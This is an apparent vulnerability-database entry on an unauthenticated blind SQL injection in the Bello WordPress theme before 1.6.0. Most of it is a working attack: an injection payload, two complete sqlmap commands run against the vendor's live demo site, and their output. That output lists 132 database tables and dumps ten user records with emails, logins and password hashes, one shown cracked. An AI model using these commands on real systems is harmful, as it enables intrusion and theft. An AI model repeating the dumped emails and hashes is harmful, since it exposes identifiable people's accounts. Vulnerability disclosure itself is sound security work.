Bello < 1.6.0 - Unauthenticated Blind SQL Injection

2021-05-16T00:00:00
ID WPEX-ID:7314F9FA-C047-4E0C-B145-940240A50C02
Type wpexploit
Reporter m0ze
Modified 2021-05-17T07:02:01

Description

The theme did not sanitise the bt_bb_listing_field_price_range_to, bt_bb_listing_field_now_open, bt_bb_listing_field_my_lng, listing_list_view and bt_bb_listing_field_my_lat parameters before using them in a SQL statement, leading to SQL Injection issues

                                        
                                            ### -- [ Payload: ]

[$] -4034) OR 4877=4877 AND (2369=2369



### -- [ PoC #1 | Unauthenticated Blind SQL Injection | Listing search query (tables): ]

[!] sqlmap --url="https://bello.bold-themes.com/main-demo/listing/?&listing_list_view=X&bt_bb_listing_field_my_lat=X&bt_bb_listing_field_my_lng=X&bt_bb_listing_field_my_lat_default=40.6976637&bt_bb_listing_field_my_lng_default=-74.119764&bt_bb_listing_field_keyword=X&bt_bb_listing_field_category=all&bt_bb_listing_field_now_open=1&bt_bb_listing_field_location_autocomplete=X&bt_bb_listing_field_distance=26&bt_bb_listing_field_distance_value=26&bt_bb_listing_field_price_range_from=1&bt_bb_listing_field_price_range_to=4&bt_bb_listing_field_sort=4" -D radem293_wp485 --tables
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.5.3.16#dev}
|_ -| . [,]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 01:43:11 /2021-03-21/

[01:43:11] [INFO] resuming back-end DBMS 'mysql'
[01:43:11] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: bt_bb_listing_field_price_range_to (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: &listing_list_view=X&bt_bb_listing_field_my_lat=X&bt_bb_listing_field_my_lng=X&bt_bb_listing_field_my_lat_default=13&bt_bb_listing_field_my_lng_default=-88&bt_bb_listing_field_keyword=X&bt_bb_listing_field_category=all&bt_bb_listing_field_now_open=1&bt_bb_listing_field_location_autocomplete=X&bt_bb_listing_field_distance=26&bt_bb_listing_field_distance_value=26&bt_bb_listing_field_price_range_from=1&bt_bb_listing_field_price_range_to=-4034) OR 4877=4877 AND (2369=2369&bt_bb_listing_field_sort=4
---
[01:43:18] [INFO] the back-end DBMS is MySQL
web application technology: PHP, Nginx
back-end DBMS: MySQL unknown
[01:43:18] [INFO] fetching tables for database: 'radem293_wp485'
[01:43:18] [INFO] fetching number of tables for database 'radem293_wp485'
[01:43:20] [WARNING] reflective value(s) found and filtering out
Database: radem293_wp485
[132 tables]
+-----------------------------------------------------+
| wpsk_2_actionscheduler_actions                      |
| wpsk_2_actionscheduler_claims                       |
| wpsk_2_actionscheduler_groups                       |
| wpsk_2_actionscheduler_logs                         |
| wpsk_2_commentmeta                                  |
| wpsk_2_comments                                     |
| wpsk_2_links                                        |
| wpsk_2_options                                      |
| wpsk_2_postmeta                                     |
| wpsk_2_posts                                        |
| wpsk_2_social_users                                 |
| wpsk_2_term_relationships                           |
| wpsk_2_term_taxonomy                                |
| wpsk_2_termmeta                                     |
| wpsk_2_terms                                        |
| wpsk_2_wc_admin_note_actions                        |
| wpsk_2_wc_admin_notes                               |
| wpsk_2_wc_category_lookup                           |
| wpsk_2_wc_customer_lookup                           |
| wpsk_2_wc_download_log                              |
| wpsk_2_wc_order_coupon_lookup                       |
| wpsk_2_wc_order_product_lookup                      |
| wpsk_2_wc_order_stats                               |
| wpsk_2_wc_order_tax_lookup                          |
| wpsk_2_wc_product_meta_lookup                       |
| wpsk_2_wc_tax_rate_classes                          |
| wpsk_2_wc_webhooks                                  |
| wpsk_2_woocommerce_api_keys                         |
| wpsk_2_woocommerce_attribute_taxonomies             |
| wpsk_2_woocommerce_downloadable_product_permissions |
| wpsk_2_woocommerce_log                              |
| wpsk_2_woocommerce_order_itemmeta                   |
| wpsk_2_woocommerce_order_items                      |
| wpsk_2_woocommerce_payment_tokenmeta                |
| wpsk_2_woocommerce_payment_tokens                   |
| wpsk_2_woocommerce_sessions                         |
| wpsk_2_woocommerce_shipping_zone_locations          |
| wpsk_2_woocommerce_shipping_zone_methods            |
| wpsk_2_woocommerce_shipping_zones                   |
| wpsk_2_woocommerce_tax_rate_locations               |
| wpsk_2_woocommerce_tax_rates                        |
| wpsk_3_actionscheduler_actions                      |
| wpsk_3_actionscheduler_claims                       |
| wpsk_3_actionscheduler_groups                       |
| wpsk_3_actionscheduler_logs                         |
| wpsk_3_commentmeta                                  |
| wpsk_3_comments                                     |
| wpsk_3_links                                        |
| wpsk_3_options                                      |
| wpsk_3_postmeta                                     |
| wpsk_3_posts                                        |
| wpsk_3_social_users                                 |
| wpsk_3_term_relationships                           |
| wpsk_3_term_taxonomy                                |
| wpsk_3_termmeta                                     |
| wpsk_3_terms                                        |
| wpsk_3_wc_admin_note_actions                        |
| wpsk_3_wc_admin_notes                               |
| wpsk_3_wc_category_lookup                           |
| wpsk_3_wc_customer_lookup                           |
| wpsk_3_wc_download_log                              |
| wpsk_3_wc_order_coupon_lookup                       |
| wpsk_3_wc_order_product_lookup                      |
| wpsk_3_wc_order_stats                               |
| wpsk_3_wc_order_tax_lookup                          |
| wpsk_3_wc_product_meta_lookup                       |
| wpsk_3_wc_tax_rate_classes                          |
| wpsk_3_wc_webhooks                                  |
| wpsk_3_woocommerce_api_keys                         |
| wpsk_3_woocommerce_attribute_taxonomies             |
| wpsk_3_woocommerce_downloadable_product_permissions |
| wpsk_3_woocommerce_log                              |
| wpsk_3_woocommerce_order_itemmeta                   |
| wpsk_3_woocommerce_order_items                      |
| wpsk_3_woocommerce_payment_tokenmeta                |
| wpsk_3_woocommerce_payment_tokens                   |
| wpsk_3_woocommerce_sessions                         |
| wpsk_3_woocommerce_shipping_zone_locations          |
| wpsk_3_woocommerce_shipping_zone_methods            |
| wpsk_3_woocommerce_shipping_zones                   |
| wpsk_3_woocommerce_tax_rate_locations               |
| wpsk_3_woocommerce_tax_rates                        |
| wpsk_actionscheduler_actions                        |
| wpsk_actionscheduler_claims                         |
| wpsk_actionscheduler_groups                         |
| wpsk_actionscheduler_logs                           |
| wpsk_blog_versions                                  |
| wpsk_blogmeta                                       |
| wpsk_blogs                                          |
| wpsk_commentmeta                                    |
| wpsk_comments                                       |
| wpsk_links                                          |
| wpsk_options                                        |
| wpsk_postmeta                                       |
| wpsk_posts                                          |
| wpsk_registration_log                               |
| wpsk_signups                                        |
| wpsk_site                                           |
| wpsk_sitemeta                                       |
| wpsk_social_users                                   |
| wpsk_term_relationships                             |
| wpsk_term_taxonomy                                  |
| wpsk_termmeta                                       |
| wpsk_terms                                          |
| wpsk_usermeta                                       |
| wpsk_users                                          |
| wpsk_wc_admin_note_actions                          |
| wpsk_wc_admin_notes                                 |
| wpsk_wc_category_lookup                             |
| wpsk_wc_customer_lookup                             |
| wpsk_wc_download_log                                |
| wpsk_wc_order_coupon_lookup                         |
| wpsk_wc_order_product_lookup                        |
| wpsk_wc_order_stats                                 |
| wpsk_wc_order_tax_lookup                            |
| wpsk_wc_product_meta_lookup                         |
| wpsk_wc_tax_rate_classes                            |
| wpsk_wc_webhooks                                    |
| wpsk_woocommerce_api_keys                           |
| wpsk_woocommerce_attribute_taxonomies               |
| wpsk_woocommerce_downloadable_product_permissions   |
| wpsk_woocommerce_log                                |
| wpsk_woocommerce_order_itemmeta                     |
| wpsk_woocommerce_order_items                        |
| wpsk_woocommerce_payment_tokenmeta                  |
| wpsk_woocommerce_payment_tokens                     |
| wpsk_woocommerce_sessions                           |
| wpsk_woocommerce_shipping_zone_locations            |
| wpsk_woocommerce_shipping_zone_methods              |
| wpsk_woocommerce_shipping_zones                     |
| wpsk_woocommerce_tax_rate_locations                 |
| wpsk_woocommerce_tax_rates                          |
+-----------------------------------------------------+

[*] ending @ 01:44:45 /2021-03-21/



### -- [ PoC #2 | Unauthenticated Blind SQL Injection | Listing search query ('wpsk_users' data): ]

[!] sqlmap --url="https://bello.bold-themes.com/main-demo/listing/?&listing_list_view=X&bt_bb_listing_field_my_lat=X&bt_bb_listing_field_my_lng=X&bt_bb_listing_field_my_lat_default=40.6976637&bt_bb_listing_field_my_lng_default=-74.119764&bt_bb_listing_field_keyword=X&bt_bb_listing_field_category=all&bt_bb_listing_field_now_open=1&bt_bb_listing_field_location_autocomplete=X&bt_bb_listing_field_distance=26&bt_bb_listing_field_distance_value=26&bt_bb_listing_field_price_range_from=1&bt_bb_listing_field_price_range_to=4&bt_bb_listing_field_sort=4" -D radem293_wp485 -T wpsk_users -C id,user_email,user_login,user_pass
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.5.3.16#dev}
|_ -| . [,]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:53:01 /2021-03-22/

[17:53:02] [INFO] resuming back-end DBMS 'mysql'
[17:53:02] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: bt_bb_listing_field_price_range_to (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: &listing_list_view=X&bt_bb_listing_field_my_lat=X&bt_bb_listing_field_my_lng=X&bt_bb_listing_field_my_lat_default=13&bt_bb_listing_field_my_lng_default=-88&bt_bb_listing_field_keyword=X&bt_bb_listing_field_category=all&bt_bb_listing_field_now_open=1&bt_bb_listing_field_location_autocomplete=X&bt_bb_listing_field_distance=26&bt_bb_listing_field_distance_value=26&bt_bb_listing_field_price_range_from=1&bt_bb_listing_field_price_range_to=-4034) OR 4877=4877 AND (2369=2369&bt_bb_listing_field_sort=4
---
[17:53:08] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP
back-end DBMS: MySQL unknown
[17:53:08] [INFO] fetching entries of column(s) 'id,user_email,user_login,user_pass' for table 'wpsk_users' in database 'radem293_wp485'
[17:53:08] [INFO] fetching number of column(s) 'id,user_email,user_login,user_pass' entries for table 'wpsk_users' in database 'radem293_wp485'
[17:53:11] [WARNING] reflective value(s) found and filtering out
Database: radem293_wp485
Table: wpsk_users
[10 entries]
+----+---------------------------------+-------------------------+---------------------------------------------+
| id | user_email                      | user_login              | user_pass                                   |
+----+---------------------------------+-------------------------+---------------------------------------------+
| 1  | info@bold-themes.com            | BoldThemes              | $P$BLYLHDyPTxvVaYRwW7vnzlgHmGioBs1          |
| 2  | admin-03@bold-themes.com        | mike                    | $P$BUWs66Dwi66SaLM7gXyuHuplzzUhBn/          |
| 3  | admin-01@bold-themes.com        | joanna                  | $P$B56jorGqtnruHpxEtzUVQ/O7PJW8iv0          |
| 4  | info.bold.themes@gmail.com      | info.bold.themes        | $P$BGHqpcBv4LNz2PuHi2pU6WtVi/Ryp3/          |
| 5  | admin-05@bold-themes.com        | eddie                   | $P$BSZwf0aAGEDMPzhwyLp03cUa0sTnOY/          |
| 9  | jangizhashim.pasargad@gmail.com | jangizhashim            | $P$B1yLpS0TNKaLsFtxaibD0TvxXW7Ej0/          |
| 10 | hujjatuna@gmail.com             | hujjatuna@gmail.com     | $P$B5G6nPRkWlDRc1gi05jDucOPAeLLtZ0          |
| 11 | pekermusa@gmail.com             | pekermusa@gmail.com     | $P$BjAOrMfoj0lc518MEk0EplsZjJJdme1          |
| 12 | francischow@yahoo.com           | francischow@yahoo.com   | $P$Bzks/yvMgJClbxAp080b/In1kTANwj/ (123456) |
| 13 | tifernini.dev@gmail.com         | tifernini.dev@gmail.com | $P$BAVqRY7/.gm4UMgqIcH.CkYJvyv3Vl1          |
+----+---------------------------------+-------------------------+---------------------------------------------+

[*] ending @ 19:13:26 /2021-03-22/